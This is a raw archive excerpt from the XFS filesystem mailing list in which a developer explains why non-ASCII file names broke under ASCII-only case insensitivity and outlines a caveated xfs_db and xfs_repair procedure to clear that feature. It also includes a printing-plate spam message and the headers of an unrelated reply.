cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 84A88304070 for ; Tue, 14 Jan 2014 19:48:09 -0800 (PST) X-ASG-Debug-ID: 1389757686-04cb6c537cdc87d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JQrPy7Me89j6Ed4z for ; Tue, 14 Jan 2014 19:48:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskVANED1lJ5LKVw/2dsb2JhbABAGoMLOIMCo0UDjyiFWYESF3SCJQEBAQQ6HCMQCAMOCgklDwUlAyETiAMONsQsFo5xB4Q3BJgdikyHSoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Jan 2014 14:18:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3HSV-0007u5-1r; Wed, 15 Jan 2014 14:48:03 +1100 Date: Wed, 15 Jan 2014 14:48:03 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140115034803.GT3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389757686 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144098 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Jan 14, 2014 at 05:59:23PM -0800, Zachary Kotlarek wrote: > > On Jan 14, 2014, at 5:53 PM, Dave Chinner wrote: > > > Pretty simple - the leaf[].address is simply a compressed offset > > into the leaf. all dirents are 8 byte aligned, and the tag is the > > byte offset into the leaf dirent space. Hence: > > > > leaf[].address = bu[16].tag >> 3 > > = 0x1d8 >> 3 > > = 0x3b > > = bleaf[3].address > > > >> bleaf[3].hashval = 0x16d0707c > >> bleaf[3].address = 0x3b > > > > And there were are - there's a single bit discrepancy in the lower > > byte of the hash. That tends to imply we have a bug in xfs_repair. > > > > What version of xfs_repair did you use? (xfs_repair -V) > > > 3.1.11. OK, Now I've looked at the code, the answer is easy and you're probably not going to like it. I missed this the first time through from your xfs-info output: naming =version 2 bsize=4096 ascii-ci=1 ^^^^^^^^^^ It's called *ASCII* Case Insensitivity for a reason: it doesn't support anything other than ASCII. So your usage is not actually supported at all, hence it's no surprise that it has caused breakage. Internationalised UTF-8 character sets are not supported because it causes case conversion issues when kernel and userspace character sets don't match exactly. IOWs, to support UTF-8 case insensitivity, we need to have on-disk translation tables so that the kernel and userspace use the same case translations. See here: http://xfs.org/index.php/Unfinished_work#Support_for_unicode_.2F_utf8_filesystems I suspect that the way to fix your filesystem is to run xfs_repair under a "C" locale so that the glibc tolower() function behaves the same way the kernel behaves and so the hashes calculated by xfs_repair match the what the kernel thinks is correct. Cheers, Dave. -- Dave Chinner david@fromorbit.com From zach@kotlarek.com Tue Jan 14 23:31:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BBCA57F3F for ; Tue, 14 Jan 2014 23:31:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E116304075 for ; Tue, 14 Jan 2014 21:31:07 -0800 (PST) X-ASG-Debug-ID: 1389763863-04cb6c5b310fa80001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id hKrE4JzA5fHuouFe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 14 Jan 2014 21:31:03 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id A00BD58022; Tue, 14 Jan 2014 21:31:01 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389763862; bh=llORv4nx0euE3qAzizqrMFkPMqXyS9oJ8PGOUBUqEMk=; h=Content-Type:Mime-Version:Subject:From:In-Reply-To:Date:Cc: Message-Id:References:To; b=imjtfo3yJUyNdms5V4WVZ/uyIYPjAapGdNU1KdX7elSz2Dz0weM5WaLO1jhvVl3PA odrLNDxy4q3yI+VJZB3gvVKy44AKArmVLqSdZ0b+1LXZOh1cLFhugECPmxZFdo/CmD GVoEjN5JE8xM7utiABEDnGllDcsk9mSP6Cnkv1AU= Content-Type: multipart/signed; boundary="Apple-Mail=_CE92C729-5C51-4C37-88A1-CBF0F67E5A04"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair From: Zachary Kotlarek X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <20140115034803.GT3469@dastard> Date: Tue, 14 Jan 2014 21:30:57 -0800 Cc: xfs@oss.sgi.com Message-Id: <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> References: <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389763863 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144100 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_CE92C729-5C51-4C37-88A1-CBF0F67E5A04 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 14, 2014, at 7:48 PM, Dave Chinner wrote: > It's called *ASCII* Case Insensitivity for a reason: it doesn't > support anything other than ASCII. So your usage is not actually > supported at all, hence it's no surprise that it has caused > breakage. Okay. Thanks for the explanation. FWIW, I read =93ASCII-only case-insensitive=94 to mean =93only = case-insensitive for ASCII=94 as in =F1 and =D1 would not match each = other. If it actually means =93anything other than ASCII is subject to = complete breakage=94 a more nuanced explanation in the man page might be = desirable. I don=92t suppose there=92s any way to disable that setting short of = creating a new file system? > I suspect that the way to fix your filesystem is to run xfs_repair > under a "C" locale so that the glibc tolower() function behaves the > same way the kernel behaves and so the hashes calculated by > xfs_repair match the what the kernel thinks is correct. Neither this: LC_ALL=3DC nor this: LC_ALL=3DPOSIX or for that matter: LC_ALL=3Den_US.utf8 made any difference. And my default was already POSIX. Any other thoughts? Theoretically I could find the expected hashvals and overwrite them with = xfs_db, right? Or at least unlink the files so I can reclaim the disk = space? Zach --Apple-Mail=_CE92C729-5C51-4C37-88A1-CBF0F67E5A04 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 gwmvsLnXjgAAAAAAAA== --Apple-Mail=_CE92C729-5C51-4C37-88A1-CBF0F67E5A04-- From david@fromorbit.com Wed Jan 15 00:37:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7435B7F3F for ; Wed, 15 Jan 2014 00:37:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6F4AD304032 for ; Tue, 14 Jan 2014 22:37:31 -0800 (PST) X-ASG-Debug-ID: 1389767848-04cb6c537bdcc7d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 8IFV7ZhSvjlbctiP for ; Tue, 14 Jan 2014 22:37:29 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmcKAAcs1lJ5LKVw/2dsb2JhbABagwuDOlKyJIVZgREXdIIlAQEBAwEjDwEjIwULCAMOCgICBSECAg8FJQMhE4d8B6gtm3AXFoETjHNrB4JvgUgEmB2KTIdKg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Jan 2014 17:07:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3K6N-0008DU-05; Wed, 15 Jan 2014 17:37:23 +1100 Date: Wed, 15 Jan 2014 17:37:22 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140115063722.GW3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389767848 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144101 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 09:30:57PM -0800, Zachary Kotlarek wrote: > > On Jan 14, 2014, at 7:48 PM, Dave Chinner wrote: > > > It's called *ASCII* Case Insensitivity for a reason: it doesn't > > support anything other than ASCII. So your usage is not actually > > supported at all, hence it's no surprise that it has caused > > breakage. > > Okay. Thanks for the explanation. > > FWIW, I read “ASCII-only case-insensitive” to mean “only case-insensitive for ASCII” as in ñ and Ñ would not match each other. If it actually means “anything other than ASCII is subject to complete breakage” a more nuanced explanation in the man page might be desirable. Sure. Can you write a patch to add explanation that explain the problem you've had? > I don’t suppose there’s any way to disable that setting short of creating a new file system? Not officially. Changing it means you have to change every single hash for every directory entry. I *think* that you could probably do it with a bit of xfs_db magic and and xfs_repair pass. First, A warning, some advice and a disclaimer: back up anything you don't want to lose, because if this screws up it'll trash the directory structure and you may *LOSE* *ALL* *YOUR* *DATA*. This is dangerous, not recommended and I take no responsibility for what happens if you try it and it fails. After taking a backup, use xfs_metadump to set up for a non-destructive trial run. take a copy of the filesystem metadata using xfs_metadump: # xfs_metadump scratch.metadump Restore the metadump to a file - this is a sparse image file we can operate on safely. # xfs_mdrestore scratch.metadump scratch_xfs_filesystem.img Then point xfs_db at the image file: # xfs_db -x -f scratch_xfs_filesystem.img Remove the case insensitive feature bit using the version command. First dump the current values using version: xfs_db> version versionnum [0xf4a4+0x8a] = V4,NLINK,ALIGN,DIRV2,LOGV2,EXTFLG,ASCII_CI,MOREBITS,ATTR2,LAZYSBCOUNT,PROJID32BIT And you'll see the ASCII_CI bit in there. That's what we want to remove. It's value is: #define XFS_SB_VERSION_BORGBIT 0x4000 so we need to clear that from the version field. 0xf4a4 - 0x4000 = 0xb4a4 And we want to write that back into the version field: xfs_db> sb 0 xfs_db> p versionnum versionnum = 0xf4a4 xfs_db> write versionnum 0xb4a4 versionnum = 0xb4a4 xfs_db> p versionnum versionnum = 0xb4a4 xfs_db> quit And now run xfs_repair on the image file: # xfs_repair -f scratch_xfs_filesystem.img That should through lots of "bad hash table.... repairing" errors. Once it completes, mount the filesystem image on the loopback device: # mount -o loop,ro,norecovery scratch_xfs_filesystem.img /mnt/scratch And walk around the filesystem to determine if the directory structure is correct and intact. If you have any doubts, or anything was left in lost+found, then it hasn't worked properly and you should not do this to your filesystem. Only if you are convinced that everything is OK and you can do the conversion without stuffing up, run the same xfs_db/repair process on the real filesystem. If you have any doubts or not confident that it has worked, then go the long way of mkfs and restoring the backup you've already made. > > I suspect that the way to fix your filesystem is to run xfs_repair > > under a "C" locale so that the glibc tolower() function behaves the > > same way the kernel behaves and so the hashes calculated by > > xfs_repair match the what the kernel thinks is correct. > > Neither this: > LC_ALL=C > nor this: > LC_ALL=POSIX > or for that matter: > LC_ALL=en_US.utf8 > made any difference. And my default was already POSIX. > > Any other thoughts? $ LC_ALL=C locale LANG=en_AU.UTF-8 LANGUAGE=en_AU:en LC_CTYPE="C" LC_NUMERIC="C" LC_TIME="C" LC_COLLATE="C" LC_MONETARY="C" LC_MESSAGES="C" LC_PAPER="C" LC_NAME="C" LC_ADDRESS="C" LC_TELEPHONE="C" LC_MEASUREMENT="C" LC_IDENTIFICATION="C" LC_ALL=C $ Perhaps you also need to override LANG and LANGUAGE? > Theoretically I could find the expected hashvals and overwrite > them with xfs_db, right? In theory, but hashvals need to be ordered correctly and that potentially means having to update btree node pointers and all sorts of other complexities. xfs_db is really not designed to rewrite directory structures manually. > Or at least unlink the files so I can > reclaim the disk space? You need to be able to stat the file to be able to unlink it.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bc65@topeasy23.eicp.net Wed Jan 15 01:32:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A8D5A7F3F for ; Wed, 15 Jan 2014 01:32:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 59A83AC007 for ; Tue, 14 Jan 2014 23:32:55 -0800 (PST) X-ASG-Debug-ID: 1389771168-04bdf00fe06e4800001-NocioJ Received: from topeasy23.eicp.net ([182.96.122.183]) by cuda.sgi.com with SMTP id B5LHkRiQaOAMpJhi for ; Tue, 14 Jan 2014 23:32:49 -0800 (PST) X-Barracuda-Envelope-From: bc65@topeasy23.eicp.net X-Barracuda-Apparent-Source-IP: 182.96.122.183 Received: from lisen[127.0.0.1] by LISEN[127.0.0.1] (SMTPD32); Wed, 15 Jan 2014 15:32:37 +0800 From: "bc65@topeasy23.eicp.net" Subject: PS plate To: "xfs" X-ASG-Orig-Subj: PS plate MIME-Version: 1.0 Sender: bc65@topeasy23.eicp.net Reply-To: sheetc3@163.com Date: Wed, 15 Jan 2014 15:32:37 +0800 X-Priority: 3 X-DNSRBL: X-MAIL: PS-MAM01.PSheng.com q9QDEkb8018968 X-Mailer: Foxmail 7.0.1.91[cn] Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[182.96.122.183] X-Barracuda-Start-Time: 1389771168 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144102 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20140115073254.DE136A42186@cuda.sgi.com>

My dear friends,

 

This is Tony from  Dongfang Printing Plate Co., Ltd.  We are manufacturing all kinds of printing plates.

Our products include thermal CTP, CTCP and PS plates with 20 years' experience.

If you need more details, please contacte me freely.

 

 

Thank you!

 

Best regards,

Tony

From gnehzuil.liu@gmail.com Wed Jan 15 02:08:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BDCAD7F3F for ; Wed, 15 Jan 2014 02:08:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 941DE8F8040 for ; Wed, 15 Jan 2014 00:08:06 -0800 (PST) X-ASG-Debug-ID: 1389773285-04bdf00fe26e5530001-NocioJ Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com [209.85.220.48]) by cuda.sgi.com with ESMTP id WspCk3NUV4e4tCMF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 15 Jan 2014 00:08:05 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.48 Received: by mail-pa0-f48.google.com with SMTP id lf10so818473pab.7 for ; Wed, 15 Jan 2014 00:08:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=+9G/kcefCP/rovGXm8TcR83qAy9aZtcrdITeAUgidBc=; b=Ix/LPTQnQMIU+rvPj1E9dCCOUpm3jTEjR65bxO3Z99/1ucRm+yXYbZMmEq2eSvN0C2 3nBfVfjBvPudGasEva9XVt4IUTrVyATi87v2oPqN1PIBNx+m220C3+L0j+NxdeA12vgo L4fwlZYquFeaNiuSzVq7+XBKcKshOAzjoH7ym1mU9tqxGrTn1gRq8W0sae22KrI5Tuhc w0q1c6S+p9rbTwgkK7VpsW+v08n2aLnZF8eFU9rCRmWpRlJYAIaxmkNkkkl4RgyTJ9kU /TU13vjuXnbKmsgtfsowJq16pxHdPA9z5xHB/g8rzvIzczl+4qgw25JsPgoZx4ZribRm nOtQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.132.69 with SMTP id os5mr1005263pab.114.1389773284953; Wed, 15 Jan 2014 00:08:04 -0800 (PST) Received: from gmail.com ([182.92.247.2]) by mx.google.com with ESMTPSA id sd3sm6224906pbb.42.2014.01.15.00.08.00 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Wed, 15 Jan 2014 00:08:04 -0800 (PST) Date: Wed, 15 Jan 2014 16:12:01 +0800 X-Barracuda-Apparent-Source-IP: 182.92.247.2 From: Zheng Liu To: Dave Chinner Cc: linux-ext4@vger.kernel.org, Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20140115081201.GA3820@gmail.com> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs Mail-Followup-To: Dave Chinner , linux-ext4@vger.kernel.org, Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131223014222.GC3220@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) 